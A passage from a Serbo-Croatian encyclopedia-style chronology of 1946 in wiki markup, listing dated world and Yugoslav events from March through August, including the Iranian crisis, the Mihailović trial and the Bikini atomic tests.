nezavisnost Vijetnama. * februar-avgust - Povrede jugoslovenskog vazdušnog prostora iznad Slovenije, od strane američkih i britanskih aviona. === Mart/Ožujak === [[Datoteka:Iran oil concession.png|mini|Naftne koncesije/sfere uticaja SSSR i UK u Iranu]] * [[2. 3.]] - Rok za povlačenje [[Anglo-sovjetska invazija na Iran|stranih trupa]] iz Irana: Britanci to i čine, Sovjeti zasada odbijaju. * [[4. 3.]] - [[Carl Gustaf Emil Mannerheim]] se povlači sa čela Finske, nasleđuje ga premijer [[Juho Kusti Paasikivi]] (do 1956) - sledi politiku demokratije i neutralnosti i dobrih odnosa sa SSSR (→ [[finlandizacija]]). * [[5. 3.]] - [[Winston Churchill|Čerčilov]] govor u [[Fulton, Missouri|Fultonu, Misuri]], o "[[Gvozdena zavesa|Gvozdenoj zavesi]]". * [[6. 3.]] - Kinezi sprečili francusko iskrcavanje u Haiphongu na severu Vijetnama (Tonkinu). Kasnije tokom dana Ho Chi Minh potpisao provizorni sporazum, Ho–Sainteny, o slobodnoj "Republici Vijetnam" u okviru [[Francuska unija|Francuske unije]] i francuskim trupama u Tonkinu. * [[7. 3.]] - [[Iranska kriza 1946.|Iranska kriza]]: SAD zahtevaju od Sovjeta da se povuku iz Irana. * [[8. 3.]] - [[Bell 47]] je prvi helikopter odobren za civilnu upotrebu u SAD. * [[9. 3.]] - U gomili na stadionu Burnden Park u [[Bolton]]u stradala 33 navijača. Utakmica je nastavljena posle pauze. * [[10. 3.]] - U tršćanskom predgrađu Servola ubijeno dvoje projugoslovenskih demonstranata - protesti i neredi u gradu sledećih dana. * 10. 3. - Lavovski sabor: [[Ukrajinska grkokatolička crkva]] se pod pritiskom vlasti priključuje [[Ruska pravoslavna crkva|Ruskoj pravoslavnoj]] (legalizovana 1989). * 10. 3. - Dijamantski jubilej, 60 godina, [[Aga Khan III|Age Khana III]], lidera [[nizariti|nizaritskih]] ismailitskih šiitskih muslimana - njegova težina je u Bombaju odmerena u dijamantima, za socijalne svrhe. * [[11. 3.]] - Uhapšen bivši komandant Auschwitza [[Rudolf Höss]] (pogubljen u aprilu 1947). * [[13. 3.]] - [[Draža Mihailović]] uhvaćen u okolini [[Višegrad]]a. * 13. 3. - Reorganizovna [[OZNA]], Odeljenje za zaštitu naroda: od Prvog i Drugog odseka nastaje [[Uprava državne bezbednosti]], UDBA, pri unutrašnjim poslovoma, a od trećeg Kontraobveštajna služba, [[KOS]], pri vojsci. * [[15. 3.]] - Britanski premijer [[Clement Attlee]] objavljuje nameru dati nezavisnost [[Britanska Indija|Indiji]], čim se dogovore oko ustava. * mart - Sovjetsko-iranski naftni sporazum je povoljan za Sovjete, ali iranski Medžlis je sledeće godine odbio ratifikaciju. * [[17. 3.]] - [[18. dodjela Oscara]]: najbolji film je ''[[The Lost Weekend]]'', ukupno četiri nagrade. * [[18. 3.]] - Tito u Varšavi, potpisan Ugovor o prijateljstvu i uzajamnoj pomoći između Poljske i Jugoslavije. * 18. 3. - Vrhovni sovjet SSSR usvojio zakon o Četvrtoj petoletki - obnova i razvitak zemlje. * [[19. 3.]] - [[Francuska Gvajana]], [[Gvadalupa]], [[Martinik]] i [[Reunion]] su postali [[prekomorski departman]]i [[Francuska|Francuske]]. * 19. 3. - Oboleli [[Mihail Kalinjin]] se povlači s položaja titularnog šefa države SSSR, nasleđuje ga [[Nikolaj Švernik]] (do 1953). * [[20. 3.]] - Najgora železnička nesreća u istoriji Brazila: 185 mrtvih kod Arakažua na istoku, nakon iskliznuća iz šina. * 20. 3. - [[Internacija Japanskih Amerikanaca]]: zatvoren je poslednji od deset logora, Tule Lake na severu Kalifornije. * [[22. 3.]] - Londonski ugovor: [[Transjordan]], deo [[Britanski mandat nad Palestinom|Britanskog Mandata Palestine]], postati će Hašemitska Kraljevina Transjordan, nezavisna sa britanskim bazama. * [[23. 3.]] - "Bandung more vatre": indonežanske snage se nakon ultimatuma povlače iz južnog dela [[Bandung]]a sa stotinama hiljada civila i pale sve za sobom (na severu Bandunga su Britanci, koji predaju grad Holanđanima 17. 4.). * [[24. 3.]] - Na Cetinju osnovano Udruženje likovnih umjetnika Crne Gore. * 24. 3. - U New Delhi stiže Kabinetska misija: želi nepodeljenu nezavisnu Indiju sa trospratnom strukturom, ali između Indijskog nacionalnog kongresa i Muslimanske lige vlada nepoverenje. * 24. 3. - Umro šahovski prvak [[Aleksandr Aljehin]] - interregnum traje do 1948. i [[Mihail Botvinik|Botvinikove]] pobede na specijalnom turniru. * [[25. 3.]] - Otvoren londonski aerodrom [[Heathrow]], jedan od najvećih na svetu. * 25. 3. - Radio Moskva izjavljuje da će se sovjetske trupe povući iz Irana. * [[30. 3.]] - Nota vlade SAD vladi FNRJ povodom hvatanja Draže Mihailovića - podsećanje da je "vodio snage otpora", oficiri za vezu i spaseni avijatičari bi mogli svedočiti u procesu (vlada FNRJ odbija notu). * [[31. 3.]] - Priv izbori u Grčkoj od 1936: [[Komunistička partija Grčke|KP Grčke]] bojkotuje, navodeći [[Beli teror (Grčka)|Beli teror]]. Uspeh desnih partija, premijer će postati [[Konstantinos Caldaris]]. Noć pred izbore, komunistička grupa je napala policijsku stanicu u selu Litohoro, čime se obnavlja [[Grčki građanski rat]] (do [[1949]]), u kojem FNR Jugoslavija daje najveću podršku grčkim komunistima. === April/Travanj === [[Datoteka:Pruga Samac-Sarajevo.jpg|mini|Pruge Brčko-Banovići i Šamac-Sarajevo (1947)]] * [[1. 4.]] - [[Omladinske radne akcije|Omladinskom radnom akcijom]] (ORA) počela izgradnja željezničke[[Pruga Brčko–Banovići|pruge Brčko-Banovići]]. * 1. 4. - Raspuštena britanska kolonija [[Tjesnačka naselja]]: Penang i Malacca zajedno sa Malajskim državama čine [[Malajska unija|Malajsku uniju]] (Federacija Malaja 1948-63, prošireno u [[Malezija|Maleziju]]); [[Singapur]] je zasebna kolonija (deo Malezije 1963-65, zatim nezavisan). * 1. 4. - Operacija Road's End: Amerikanci uništili 24 zarobljene japanske podmornice. * 1. 4. - Zemljotres pored Aleutskih ostrva, cunami je smrtonosan i na Havajima. * 1. 4. - [[Sarov]] je izabran za lokaciju proizvodnje sovjetskog nuklearnog oružja, Arzamas-16. * [[3. 4.]] - Titov ekspoze o vanjskoj politici u Saveznoj skupštini, izvještava o "prelijetanju savezničkih vojnih i drugih aviona" iznad Jugoslavije. * [[4. 4.]] - [[Iranska kriza 1946.|Iranska kriza]]: Rezolucija 3 Saveta bezbednosti UN: Sovjeti se pozivaju da njihove trupe što pre napuste Iran. * ca. 4. 4. - FNRJ: Zakon o opštoj državnoj kontroli (nadzire državne organe i njima potčinjene ustanove i preduzeća). * [[5. 4.]] - Američki brod ''[[USS Missouri (BB-63)|USS Missouri]]'' stigao pred Istanbul s ostacima umrlog turskog ambasadora (SSSR protestuje); četiri dana kasnije stiže u [[Pirej]]. * 5. 4. - Sovjetske trupe napustile dansko ostrvo [[Bornholm]]. * [[8. 4.]] - Osnovana je firma ''[[Électricité de France]]'' (EDF), nakon nacionalizacije oko 1.700 firmi iz energetske branše (privatizovana 2004. uz većinski vladin udeo, renacionalizacija najavljena 2022). * [[10. 4.]] - Prvi višestranački izbori u Japanu od 1937. i prvi sa ženskim glasanjem - najviše mandata dobila Liberalna partija, ali njenom lideru [[Ichirō Hatoyama|Ichirō Hatoyami]] nije dozvoljeno da povede vladu. * [[11. 4.]] - Na inicijativu [[Félix Houphouët-Boigny|Félixa Houphouët-Boignyja]], poslanika iz Obale Slonovače, francuska skupština ukida prinudni rad u kolonijama. * [[13. 4.]] - Vlada FNRJ priznala [[Španska republikanska vlada u izbeglištvu|Špansku republikansku vladu u izbeglištvu]]. * 13. 4. - Zakon Marthe Richard ukida [[bordel]]e u Francuskoj. * [[16. 4.]] - Prvo lansiranje rakete [[V-2]] u SAD, na poligonu [[White Sands, New Mexico|White Sands]] u Novom Meksiku. * 16. 4. - Hooverova misija: kratak boravak u Beogradu, na proputovanju iz Beča u Atinu. * [[17. 4.]] - Poslednji francuski vojnici napuštaju Siriju (slavi se kao Dan evakuacije). * 17. 4. - Osnovana Narodna tehnika Jugoslavije. * [[18. 4.]] - Vlada SAD uspostavila diplomatske odnose sa FNRJ, tj. priznaje Titovu vladu, ne odobravajući politiku. * 18. 4. - Zvanično raspušteno [[Društvo naroda]]. Raspušten je i [[Stalni sud međunarodne pravde]], zamenjuje ga [[Međunarodni sud pravde]]. * [[20. 4.]] - Objavljen Izveštaj Anglo-američkog istražnog komiteta o problemima evropskog jevrejstva i Palestine: preporučuje se prijem 100.000 Jevreja žrtava nacifašističkog progona. Kada britanska vlada, s nedovoljnim finansijskim i vojnim sredstvima, to odbije, naći će se na udaru jevrejskih napada. * [[21. 4.]] - Prva prijateljska fudbalska utakmica Crvene Zvezde i Partizana. * 21. 4. - Osnovana [[Socijalistička partija jedinstva Nemačke]] (SED), spajanjem komunističke i socijaldemokratske partije u ruskoj zoni - vladajuća partija [[Istočna Njemačka|Istočne Njemačke]] do 1989. * 21. 4. - Telo [[Benito Mussolini|Benita Mussolinija]] je ukradeno iz neoznačenog groba na milanskom groblju (pronađen je u avgustu, sahranjen u [[Predappio, Forlì-Cesena|rodnom mestu]] 1957). [[Datoteka:Vespa Bachetta 125cc 1948.jpg|mini|Jedna rana [[vespa]]]] * [[23. 4.]] - Italijanska firma [[Piaggio]] je patentirala motocikl-[[skuter]] pod nazivom [[Vespa]]. * 23. 4. - Film ''[[The Outlaw]]'' iz 1943. je redistribuiran, istakla se [[Jane Russell]]. * [[24. 4.]] - Prvi letovi dva sovjetska mlaznjaka, [[MiG-9]] i [[Jak-15]]. * ca. 26. 4. - Sovjeti se povlače sa severoistoka Kine, komunisti preuzimaju [[Harbin]], [[Qiqihar]], [[Changchun]]. * [[29. 4.]] - Počinje [[Tokijski proces]] japanskim ratnim zločincima. * ca. 29. 4. - FNRJ: Uredba o otkupu žitarica u ekonomskoj 1946/1947 godini (obavezni ili prinudni otkup) - cilj je snabdevanje gradova, vojske i nove industrije; nerealne procene i ideološki pristup dovode do nezadovoljstva i ekscesa na selu. * 29. 4. - Američki letači traže od Trumana da pomogne Mihailoviću. (NYT) * april - Tadao Kashio u Japanu osnovao firmu, budući [[Casio]]; prvi veći proizvod: prsten-držač za cigaretu. === Maj/Svibanj === * [[1. 5.]] - Čuvar ambasade SAD William Wedge službenim džipom pod uticajem alkohola usmrtio oficira JA (u septembru osuđen na osam godina)<ref>Jakovina, p. 207</ref>. * [[2. 5.]] - Na ministarskom savetu u Parizu odlučeno da [[Palagruža]] pripadne Jugoslaviji, pod uslovom da ne bude militarizovana i da se zaštite italijanska ribarska prava.<ref>[https://history.state.gov/historicaldocuments/frus1946v02/d93 Record of Decisions, Council of Foreign Ministers, Second Session, Seventh Meeting, Palais du Luxembourg, Paris, May 2, 1946, noon]. history.state.gov</ref> Na ovoj konferenciji nema napretka povodom Trsta. * 2. 5. - Prikazan film ''[[The Postman Always Rings Twice (film, 1946)|The Postman Always Rings Twice]]''. * [[3. 5.]] - [[Tokijski proces]]: Međunarodni vojni tribunal za Daleki istok počinje suđenje (do 1948). * [[5. 5.]] - Predlog francuskog ustava, usvojen prošlog meseca, odbijen je na referendumu sa 52,8% glasova - slede novi izbori za Konstituantu 2. juna i novi nacrt u septembru. * 5. 5. - Konzervativac [[Mariano Ospina Pérez]] je izabran za predsednika [[Kolumbija|Kolumbije]] (do 1950), zahvaljujući podeli među liberalima - vrhunac izvoza kafe, gradnja infrastrukture i socijalne mere, ali i porast političkih sukoba, naročito od 1948. (''[[Bogotazo]]'', ''[[La Violencia]]''). * [[7. 5.]] - Kompanija [[Sony]] je osnovana kao Tokijski telekomunikacioni inženjering, sa 20 zaposlenih. * 7. 5. - [[Viktor Abakumov]] je novi ministar državne bezbednosti SSSR umesto [[Vsevolod Merkulov|Vsevoloda Merkulova]] (do 1951) - Staljin želi suziti [[Lavrentij Berija|Berijin]] uticaj u ministarstvima sile, krajem prošle godine ovog je na čelu ministarstva unutrašnjih poslova zamenio [[Sergej Kruglov]] (do 1956, s pauzom 1953). * 7. 5. - Velika četvorka potvrđuje Rumuniji celu Transilvaniju. [[Datoteka:Umberto II, 1944.jpg|mini|[[Umberto II]], "majski kralj"]] * [[9. 5.]] - Italijanski kralj [[Vitorio Emanuele III]] abdicirao u korist sina, [[Umberto II|Umberta II]] - referendum o uređenju je za manje od mesec dana. * 9. 5. - Prva utakmica fudbalske reprezentacije nove Jugoslavije: Čehoslovačka - Jugoslavija 0:2 u Pragu<ref name="BajecDolničar1981-99">Milan Bajec, Ivan Dolničar, 1981, str. 99</ref>. U Beogradu je potpisan ugovor o prijateljstvu i uzajamnoj pomoći Jugoslavije i Čehoslovačke. Parada i veliki mitinzi u Beogradu i Zagrebu povodom prvog Dana pobede. * 9. 5. - Njujorška [[NBC]]-jeva stanica WNBT prikazuje ''[[Hour Glass (TV serija)|Hour Glass]]'', prvi redovni TV varijete šou - od novembra u mreži sa stanicama u Filadelfiji i Skenektadiju. * [[11. 5.]] - Ponovno je otvorena milanska ''[[La Scala]]'', dirigirao je [[Arturo Toscanini]], proslavila se sopranistica [[Renata Tebaldi]]. * [[11.5.|11]] - [[15. 5.]] - Treći kongres [[Ujedinjeni savez antifašističke omladine Jugoslavije|USAOJ]] u Zagrebu, ime promenjeno u Narodna omladina Jugoslavije, predsednik [[Ratko Dugonjić]]. * [[13. 5.]] - Ministar naoružanja [[Dmitrij Ustinov]] je zadužen za sovjetski raketni program. * [[14. 5.]] - Američka nota ponavlja zahtev da američki letači svedoče u korist Mihailovića. (NYT) * [[15. 5.]] - [[Incident u Krfskom kanalu]], 1. deo: sa albanske obale otvorena vatra na britanske brodove ''HMS Orion'' i ''HMS Superb''. * 15. 5. - [[Sicilija]] dobija autonomiju u Italiji (zastupnici nezavisnosti će dobiti samo 8,8% na izborima). * [[16. 5.]] - Jack Mullin je u San Franciscu pokazao nemački uređaj ''[[Magnetofon|Magnetophon]]''. Prezentaciji prisustvuju inženjeri firme [[Ampex]], koja će, počevši od Modela 200 (1948), biti lider tehnologije audio traka. * maj - Počelo povlačenje sovjetskih trupa iz Irana. * [[18. 5.]] - Potpisan ugovor o predaji [[Sarawak]]a iz uprave "Belog radže" [[Charles Vyner Brooke|Charlesa Vynera Brookea]] u režim britanske krunske kolonije, nakon što je predlog izglasan sa 19:16 - Brooke nije imao naslednika ni finansijskih sredstava. * [[20. 5.]] - Britanski Donji dom glasao za nacionalizaciju industrije uglja. * [[22. 5.]] - [[Shigeru Yoshida]] je novi japanski premijer (do 1947. i 1948-54). * [[23. 5.]] - Kineski nacionalisti oduzeli [[Changchun]] komunistima (do 1948). * 23. 5. - Štrajk železničara u SAD - dogovor postignut dva dana kasnije pod pretnjom vojne intervencije. * [[21. 5.]] - U FNRJ donesen Opšti zakon o narodnim odborima. * [[25. 5.]] - {{flagicon|Jordan}} Okončanjem [[Britanski mandat za Palestinu|Britanskog mandata]] (mada zvanično 17. juna), nastaje nezavisna Hašemitska Kraljevina Transjordan (od [[1948]]. [[Jordan]]). Emir [[Abdulah I Jordanski]] postaje kralj (do ubistva 1951). * [[26. 5.]] - Izbori u [[Čehoslovačka|Čehoslovačkoj]]: komunisti dobili relativnu većinu od 38% glasova u celoj zemlji; Slovački Demokrati dobili 62% u poluautonomnoj Slovačkoj. Komunistički lider [[Klement Gottwald]] postaje premijer početkom jula (do 1948, zatim predsednik do smrti 1953). * [[28. 5.]] - Blum–Byrnesov sporazum: SAD oprašta ratne dugove Francuskoj i daje kredit u zamenu za otvaranje filmskog tržišta (filmska industrija u Francuskoj je najvažnija posle železnice). * [[28. 5.]] - [[10. 6.]] - Tito u poseti SSSR-u. * [[29. 5.]] - Osnovan [[Minski traktorski zavod]], jedna od najvećih tvornica traktora na svijetu (gusenični traktor od 1950, točkaš od 1953). * [[31. 5.]] - U Novosibirsku osnovan Projektantski zavod [[Antonov]] (premešten u Kijev 1952). * 31. 5. - Varto–Hınıski zemljotres na istoku Turske, između 800 i 1.300 žrtava. === Jun/Juni/Lipanj === * [[1. 6.]] - Pogubljen [[Ion Antonescu]], ratni vođa Rumunije. * 1. 6. - [[Datoteka:Flag of Republic of Cochinchina.svg|30px|Zastava AR Košinkina]] Francuzi priznaju južni kraj Vijetnama za Autononomnu Republiku Košinkina, protivno sporazumu sa Ho Ši Minom - osnova [[Južni Vijetnam|Južnog Vijetnama]] (1955-75). * [[2. 6.]] - [[Italijanski ustavni referendum 1946.|Referendum]] o monarhiji u Italiji: 54,3% za [[Republika Italija|Republiku Italiju]] (na jugu većina za monarhiju). Izabrana je i Ustavotvorna skupština, prvi put su glasale žene. [[Alcide De Gasperi|De Gasperijevi]] demokršćani dobijaju 207 mandata, [[Pietro Nenni|Nennijevi]] socijalisti 115, [[Palmiro Togliatti|Togliattijevi]] komunisti 104... * 2. 6. - Izbori za novu Konstituantu u Francuskoj: Popularni narodni pokret (demokršćani) preuzimaju relativnu većinu od komunista: 166 prema 153 mandata. * ca. 3. 6. - FNRJ: Zakon o opštedržavnom privrednom planu i državnim organima za planiranje (planske komisije na svim nivoima; "najviši izraz administrativne intervencije države"). [[Datoteka:Juan Peron con banda de presidente.jpg|mini|200px|[[Juan Perón]] je predsednik Argentine]] * [[4. 6.]] - Peron započinje predsednički mandat. * [[6. 6.]] - Sporazum o ekonomskoj saradnji SSSR i FNRJ, u principu dogovorena zajednička preduzeća (finalni sporazum sledećeg februara) * 6. 6. - U Njujorku osnovana Košarkaška asocijacija Amerike (BAA) - Nacionalna košarkaška asocijacija [[NBA]] nastaje 1949. spajanjem sa Nacionalnom košarkaškom ligom. * [[7. 6.]] - [[BBC]] nastavlja televizijski program prekinut 1939. * [[8. 6.]] - Potpisani sporazumi o ekonomskoj saradnji FNRJ i SSSR, do februara će biti osnovana zajednička preduzeća [[JUSTA]] i [[JUSPAD]] (civilna avijacija odn. dunavsko parobrodarstvo). * 8. 6. - Velika proslava pobede u Londonu, od saveznika nisu došli SSSR, Jugoslavija i Poljska. * [[9. 6.]] - Ukinute vojne komisije pri partijskim rukovodstvima - centralizacija poslova narodne odbrane, Vojni savet pri CK KPJ, na čelu sa Titom. * 9. 6. - Tajlandski kralj [[Ananda Mahidol]] /Ananta Mahidon/ Rama VIII je pronađen ustreljen u krevetu. Nasleđuje ga brat [[Bhumibol Adulyadej]], /Pumipon Adun'jadet/ Rama IX (do [[2016]], krunisan 1950). [[Datoteka:Draža Mihailović i Dragi Jovanović.jpg|mini|250px|[[Beogradski proces]]: [[Dragoljub Mihailović|Draža Mihailović]] i [[Dragi Jovanović]]]] * [[10. 6.]] - [[Beogradski proces]]: počelo suđenje [[Draža Mihailović|Draži Mihailoviću]] pred Vojnim većem Vrhovnog suda [[FNRJ]], kao i još 23-ici, 10 u odsustvu, od kojih će ukupno 11 biti osuđeno na smrt. * 10. 6. - [[Datoteka:Emblem of Italy.svg|25px|Amblem Italije (1948)]] Proglašena Republika Italija, Umberto II zauvek napušta zemlju tri dana kasnije. * jun - Baruchov plan predlaže međunarodnu organizaciju za regulaciju nuklearne energije: SSSR odbija, odn. predlaže svoj plan nuklearnog razoružanja. * jun - U američkoj zoni Nemačke osnovana Gehlenova organizacija, na čelu sa nacističkim obaveštajcem [[Reinhard Gehlen|Reinhardom Gehlenom]] - prethodnica [[Savezna obavještajna služba|Savezne obavještajne službe]] (1956). * jun - Jedinice feldžandarmerije koje su održavale red u zapadnim zonama, poslednje su nemačke jedinice koje su položile oružje. * 16/[[17. 6.]] - "Noć mostova": jevrejska [[Haganah]] uništila devet od ciljanih 11 mostova, vezâ Mandatne Palestine sa susednim teritorijama, uz to je izvedeno oko 50 diverzionih akcija. * [[17. 6.]] - Osnovana "Jugoslovenska knjiga". * [[25. 6.]] - Gen. Lucius Clay obustavlja demontažu industrije u američkoj zoni Nemačke, dok se ne utvrdi hoće li zemlja biti ekonomska jedinica. * [[26. 6.]] - [[Kineski građanski rat]] se nastavlja punom snagom nakon primirja, nacionalisti pokreću kampanju protiv komunista. * [[27. 6.]] - Donesen je Zakon o kanadskom državljanstvu, kojim je ono od 1. januara odvojeno od britanskog. * 27. 6. - Ministri Velike četvorke dodeljuju Dodekaneze Grčkoj, nekoliko italijanskih mesta Francuskoj (Briga, Tenda, Mont Cenis). * [[28. 6.]] - Drugi kontrolni sporazum u Austriji: smanjena dominacija saveznika nad vlastima. Procenjuje se da su Sovjeti za godinu dana poslali na istok industrijsku opremu vrednu pola milijarde dolara. * [[29. 6.]] - Britanci pokrenuli Operaciju Agatha u Palestini: uhapšeno 2.700 Jevreja. * [[30. 6.]] - U [[Poljska|Poljskoj]] održan referendum o ukidanju Senata, distribuciji zemlje, nacionalizaciji industrije i novim granicama. * 30. 6. - Neredi u Trstu, američka patrola ranjena od granate, neredi i štrajk i sledećih dana. (NYT) === Jul/Juli/Srpanj === [[Datoteka:Able nuclear test at Bikini atoll 1946.jpg|mini|300px|Proba na Bikiniju]] * [[1. 7.]] - Američka [[Operacija Crossroads]], test Able na pacifičkom [[atol Bikini|atolu Bikini]]: prva mirnodopska atomska proba i prva detonacija atomske bombe od Japana prošlog avgusta. Isprobavan je efekat na flotu brodova. * 1. 7. - [[Sarawak]] postaje britanska krunska kolonija (deo Malezije od 1963). * [[3. 7.]] - [[Enver Hodža]] završio posetu Beogradu. * [[4. 7.]] - {{flag|Filipini}} postižu samostalnost nakon 47 godina vladavine [[SAD]] i 381 godinu zapadne vlasti. * 4. 7. - [[Pogrom u Kielcu]]: u poljskom mestu [[Kielce]] ubijeno 42 Jevreja povratnika iz konc-logora, nakon antisemitskih kleveta - Jevreji nakon ovoga masovno napuštaju Poljsku. * [[5. 7.]] - U Parizu predstavljen [[bikini]], kreacija [[Louis Réard|Louisa Réarda]]. Pre oko mesec dana, [[Jacques Heim]] je predstavio ''atome'', dvodelni kupaći kostim oskudniji nego '30-tih, ali suzdržaniji od Reardovog, tako da će se u početku bolje prodavati. * [[6. 7.]] - Neredi u Trstu zbog odluke o "internacionalizaciji" grada. * [[7. 7.]] - Komunistička direktiva u Kini pokreće 18 meseci konfiskacije imovine zemljoposednika - mnogi su ubijeni. * [[9. 7.]] - Ugovor o prijateljstvu i uzajamnoj pomoći između Albanije i Jugoslavije. * [[10. 7.]] - Nehru izjavljuje da provincije ne trebaju biti obavezne pridruživati se grupama i da Indijski nacionalni kongres nije obvezan planom Kabinetske misije - nakon ovoga i Muslimanska liga odustaje od plana 29. 7.. * 13. 7. - Američka patrola ubila dvojicu jugoslovenskih vojnika na Morganovoj liniji kod Trsta. (NYT) * [[14. 7.]] - Objavljena "Zdravoramska knjiga o negovanju bebe i deteta" [[Benjamin Spock|Benjamina Spocka]]. * [[15. 7.]] - Anglo-američki zajam: SAD daju 3,75 milijardi dolara zajma Ujedinjenom Kraljevstvu, i Kanada 1,19 milijardi, s kamatom od 2% - uslov konvertibilnosti sterlinga će izazvati problem sledeće godine (otplaćeno 2006). * [[17. 7.]] - [[Draža Mihailović]] je streljan dva dana nakon smrtne presude. * 17. 7. - Švedska pobedila Jugoslaviju 3:2 u finalu evropske zone Davis cupa. * [[18. 7.]] - CK KPJ preko sindikata organizuje demonstracije protiv [[Francisko Franko|Franka]], povodom 10-godišnjice njegovog puča u Španiji (potežu se i pitanja Trsta i Julijske krajine, kritika Zapada). * [[19. 7.]] - Jugoslavija izgubila od švedskog domaćina u finalu evropske zone [[Davis Cup]]-a sa 3:2 (za Jugoslaviju igrali [[Dragutin Mitić]] i [[Josip Palada]]). * 19. 7. - Na sarajevskoj stanici Bjelave izmjereno 40 stepeni. * [[21. 7.]] - Prvi višestranački izbori u Turskoj, ali neslobodni, sa javnim glasanjem i tajnim brojanjem: velika većina za [[Republikanska narodna stranka|DžHP]]. * 21. 7. - Vrhunac nereda u La Pazu: ne znajući da je predsednik gen. [[Gualberto Villarroel]] podneo ostavku, gomila upada u predsedničku palatu, ubija ga i veša na banderu. * 21. 7. - Prvi put da mlaznjak sleti na nosač aviona, Phantom PH na USS Franklin D. Roosevelt. * [[22. 7.]] - Militantni [[cionizam|cionisti]] iz [[Irgun]]a podmetnuli bombu u jerusalimski hotel "King David", sedište britanskih vlasti u Palestinskom mandatu - 91 žrtva, od čega 28 Britanaca, 41 Arapa i 17 Jevreja. * [[23. 7.]] - [[Andrija Štampar]] je na čelu prelaznog komiteta UN nakon Krotkova iz SSSR (WHO osnovan 1948). * [[25. 7.]] - [[Dean Martin]] i [[Jerry Lewis]] prvi put nastupili kao tim (partnerstvo traje do 1956). * 25. 7. - Test Baker na Bikiniju: podmorska nuklearna eksplozija. * [[26. 7.]] - Generalni direktor UNRRA [[Fiorello H. La Guardia]] stigao u posetu Beogradu. * [[29. 7.]] - U [[Pariz]]u počela mirovna konferencija zemalja-pobednica u [[Drugi svetski rat|Drugom svetskom ratu]]. [[Pariški mirovni ugovor (1947)|Mirovni ugovori]], usaglašeni tokom zasedanja konferencije do [[16. oktobar|16. oktobra]], potpisani [[10. februar]]a [[1947]]. * [[31. 7.]] - Objavljen Morrison–Gradyjev plan ili Plan provincijske autonomije: samoupravne arapske i jevrejske provincije pod britanskim nadzorom, Jerusalim i Negev direktno pod Britancima - svi ga odbijaju. * leto - Velika suša dovodi do loše žetve u SSSR i gladi sa vrhuncem sledećeg proleća - broj mrtvih se procenjuje od nekoliko stotina hiljada do dva miliona. === Avgust/August/Kolovoz === * [[1. 8.]] - Vraćena [[mađarska forinta]], umesto [[Penge|pengova]], čime je okončana hiperinflacija u toj zemlji. Jedna forinta je zamenila 4×10²⁹ pengova (prošlog meseca je izdata novčanica od 100.000.000.000.000.000 pengova). * 1. 8. - Osnovan ''[[Scandinavian Airlines System]]'', konzorcij avio-kompanija Danske, Norveške i Švedske. * [[7. 8.]] - [[Kriza turskih moreuza]]: SSSR traži preispitivanje režima u Moreuzima i sazivanje nove konferencije - napetost traje do oktobra. Sovjeti imaju i pretenzije na teritorije na severoistoku Turske, koje su nekada pripadale carskoj Rusiji. * [[8. 8.]] - Prvi let šestomotornog elisnog bombardera [[Convair B-36]] Peacemaker - glavni prenosnik nuklearnog oružja 1948-55. * [[9. 8.]] - Kod [[Kranj]]a prisilno spušten američki avion C-47 koji je navodno zalutao usled oluje (povrede vazdušnog prostora traju od februara). * 9. 8. - Neredi u Gorici, verovatno u vezi sa nedavnim nacrtom ugovora i predloženim granicama. (NYT) * 9. 8. - Rezolucija X plenuma bugarskih komunista o makedonskom pitanju - za ujedinjenje [[Makedonci|Makedonaca]] oko [[SR Makedonija|NR Makedonije]], na osnovu ugovora o savezu Bugarske i Jugoslavije. * 9. 8. - U Lujzijani pronađeno telo linčovanog crnog veterana Johna Cecila Jonesa - slučaj će dobiti nacionalnu pažnju, Truman u decembru osniva Komitet o građanskim pravima. * [[10. 8.]] - U beogradskom [[Žarkovo|Žarkovu]] osnovan [[Vazduhoplovnotehnički institut]]. * [[12. 8.]]. - [[UK|Britanska]] je vlada naredila zaustavljanje useljavanja u [[Palestina|Palestinu]], a preostale [[Židovi|Židove]] koji su željeli imigrirati internirala je na [[Cipar]]. * [[14. 8.]] - Dekret orgbiroa CK SKP(b) "O časopisima 'Zvezda' i 'Lenjingrad'" početak je "[[Ždanovizam|Ždanovizma]]" u sovjetskoj kulturi. * [[15. 8.]] - Prikazan [[Alfred Hitchcock|Hitchcockov]] film ''[[Notorious (film, 1946)|Notorious]]''. * 15. 8. - Redovan program američke TV mreže [[DuMont Television Network|DuMont]] sa dve stanice, u Njujorku i Vašingtonu (mreža ugašena 1956). * [[16. 8.]] - "Dan direktne akcije" u [[Kalkuta|Kalkuti]], početak "Sedmice dugih noževa" u kojoj je poginulo nekoliko hiljada muslimana i hinduista u međusobnim obračunima, nakon što je [[Muhamed Ali Džina]] pozvao na generalni štrajk u podršku osnivanju Pakistana. * 16. 8. - [[Dumarsais Estimé]] je novi predsednik Haitija (do 1950) * [[18. 8.]] - [[Eksplozija na Vergaroli]] u [[Pula|Puli]], pod savezničkom vojnom administracijom, oko 70 mrtvih. * [[19. 8.]] - Kod [[Bled]]a oboren američki transportni avion C-47, pet mrtvih (ovaj i avion od 9. 8. spustili/oborili jugoslovenski lovci Jak-3). Poginuli letači dobili spomenik na Arlingtonu 1950. * [[20. 8.]] - Zvanično raspuštanje [[Wehrmacht]]a - na zapadu će biti osnovan [[Bundeswehr]] (1955), na istoku Nacionalna narodna armija (traje 1956-90). * 20. 8. - Američka 88. divizija paradira blizu Morganove linije. (NYT) * [[21. 8.]] - SAD zahtevaju od Beograda da oslobodi avijatičare u roku od 48 sati ili će stvar biti iznesena pred Savet bezbednosti. (NYT) * [[23. 8.]] - U britanskoj zoni, na zapadu Nemačke, reformiraju [[Pruska|pruske]] provincije: osnovana je [[Sjeverna Rajna-Vestfalija]], od Vestfalije i severnog dela Rajnske provincije, čemu je dogodine dodata [[Slobodna Država Lippe]]. Provincija [[Schleswig-Holstein]] postaje posebna zemlja. Provincija Hanover postaje država, ali samo do novembra. * 23. 8. - Prikazan film ''[[The Big Sleep (film, 1946)|The Big Sleep]]'' sa [[Humphrey Bogart|Bogartom]] i [[Lauren Bacall|Bacall]]. * [[24. 8.]] - Norma Jean Baker je potpisala ugovor sa 20th Century-Foxom pod novim imenom - [[Marilyn Monroe]] (ipak, prva značajnija uloga je tek u MGM-ovoj "Džungli na asfaltu" 1950). * 24. 8. - Komunistički lider Juan Feleo je otet i ubijen na Filipinima - dolazi do [[Hukbalahapska pobuna|Hukbalahapske pobune]] na ostrvu Luzon (do 1954). * ca. [[26. 8.]] - Poslanik FNRJ Izidor Cankar napušta Grčku. * [[27. 8.]]. - [[Francuski protektorat Laos]]: zaključen je sporazum kojim je Laos postao kraljevina u okviru Francuske unije (nezavisan 1953). * [[30. 8.]] - Protestna nota 